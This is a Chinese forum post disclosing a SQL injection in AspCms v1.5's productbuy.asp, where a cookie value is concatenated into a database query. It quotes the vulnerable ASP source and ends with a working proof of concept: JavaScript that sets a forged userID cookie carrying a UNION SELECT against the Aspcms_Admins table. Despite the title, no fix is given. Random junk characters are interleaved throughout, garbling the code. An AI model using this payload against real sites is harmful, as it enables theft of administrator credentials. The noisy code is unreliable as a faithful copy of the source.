AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
4 B7 T/ s6 k) }5 q& e- R  _$ @也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
& E* L+ x% K& [0 P
+ `& W+ _) ~1 Z0 R5 T( }<%
& P* S5 o, S, H9 L$ ~3 F
1 j6 j1 H: a1 M8 z2 o5 d5 yif action = "buy" then
; o$ E8 T0 A; \% r
' S9 k' N. i: H* `! E8 C        addOrder()

else
# G" K1 J$ ?$ G. P+ v/ c
        echoContent()
0 \" k/ b& n) X
3 q  O+ b9 \# a2 xend if

# O+ s6 g2 u) n; s! x! v

……略过
# f9 I/ w, d$ T
$ Q* G# h+ j  o( t- b+ N. T
6 C0 G2 P) m+ Z6 Y! Q
Sub echoContent()
! }6 p' F" `1 v% Q$ K
        dim id

. ^! ]  [/ x- a6 t- N: _- c        id=getForm("id","get")

% I4 C# V0 ]! `2 Q  N5 j- g        

) \- O2 ^* i7 J- O9 P, `* N; Z        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
! j& H' n/ {5 J  c
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
  E$ P9 q1 V; H% i- P. @# r# N1 S
; t4 J7 h" X& Q8 v: M  A        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"


, A9 x8 L9 j. f8 }. x
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

. K- `2 g& C* `$ H/ K6 ]        selectproduct=rsObj(0)
' i. S3 O2 c8 l
) l& k" K; ^) {' a2 |" ~        

! l& H6 D, b& l# e        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  

3 N% `9 U! ~- ~% i4 X4 O% F                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
" I$ W5 R3 ]" K
2 G" N# e6 b/ E6 h0 y                linkman=rsObj("truename")
9 U7 I7 j* X$ f, h
. J, R1 E9 h- a; |8 D% Z! L+ B$ G" G                gender=rsObj("gender")

                phone=rsObj("phone")
/ y& j/ Y. Z1 S1 S; o
                mobile=rsObj("mobile")

+ Y5 S) u5 N' {                email=rsObj("email")
+ G5 N7 r- e9 ]& T
6 x! Q" }8 z& v* {$ r0 _- y                qq=rsObj("qq")
$ r7 u, h" Z" e' |' o+ D
                address=rsObj("address")
( e6 g6 ]2 I6 I; j
                postcode=rsObj("postcode")

        else
. ?! `+ L" w7 ~: B9 O6 y' p
                gender=1

        end if

        rsObj.close()
" e5 D3 j" U* _8 o4 o; d
$ H) @. t! \6 f( R4 N! ^) ?2 x               

        with templateObj

; `( F" E& A, Y# X- o4 p                .content=loadFile(templatePath)        

3 q) y8 b' w" `( S                .parseHtml()
& K: @8 m5 y# B+ [! S* Q' x" O2 a
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
) q. l' A9 \$ s7 M# T! D. T; s
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
$ D% J, q6 r4 u% V
! t5 j8 d0 `+ W- T- d% y                .content=replaceStr(.content,"[aspcms:gender]",gender)               
) V* d3 |7 I5 g8 P3 W: X5 e
2 j6 w+ L( |; F5 D                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

3 q/ l* o) b9 f) _; S                .content=replaceStr(.content,"[aspcms:email]",email)                        
2 \2 p0 K  K+ k* O2 E/ f9 D. M% V
2 ?, j! z5 `8 J# {                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
& [7 j6 r. B; G
, T4 x/ T6 e% G. H) q: q4 ?                .content=replaceStr(.content,"[aspcms:address]",address)                        

. M0 e1 O8 a: T; F                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 
# H- O. D, `& ^  B' H
                echo .content

        end with

        set templateobj =nothing : terminateAllObjects

' `5 L5 D# Q0 O' S3 SEnd Sub
漏洞很明显，没啥好说的
poc：
" L) G8 |0 A. N# l. {& R) V
; P0 D! }+ c  O- g$ \* b, y; Cjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
! d4 f' |5 N6 a% J2 t' T
" }& T$ y. n; x7 U3 f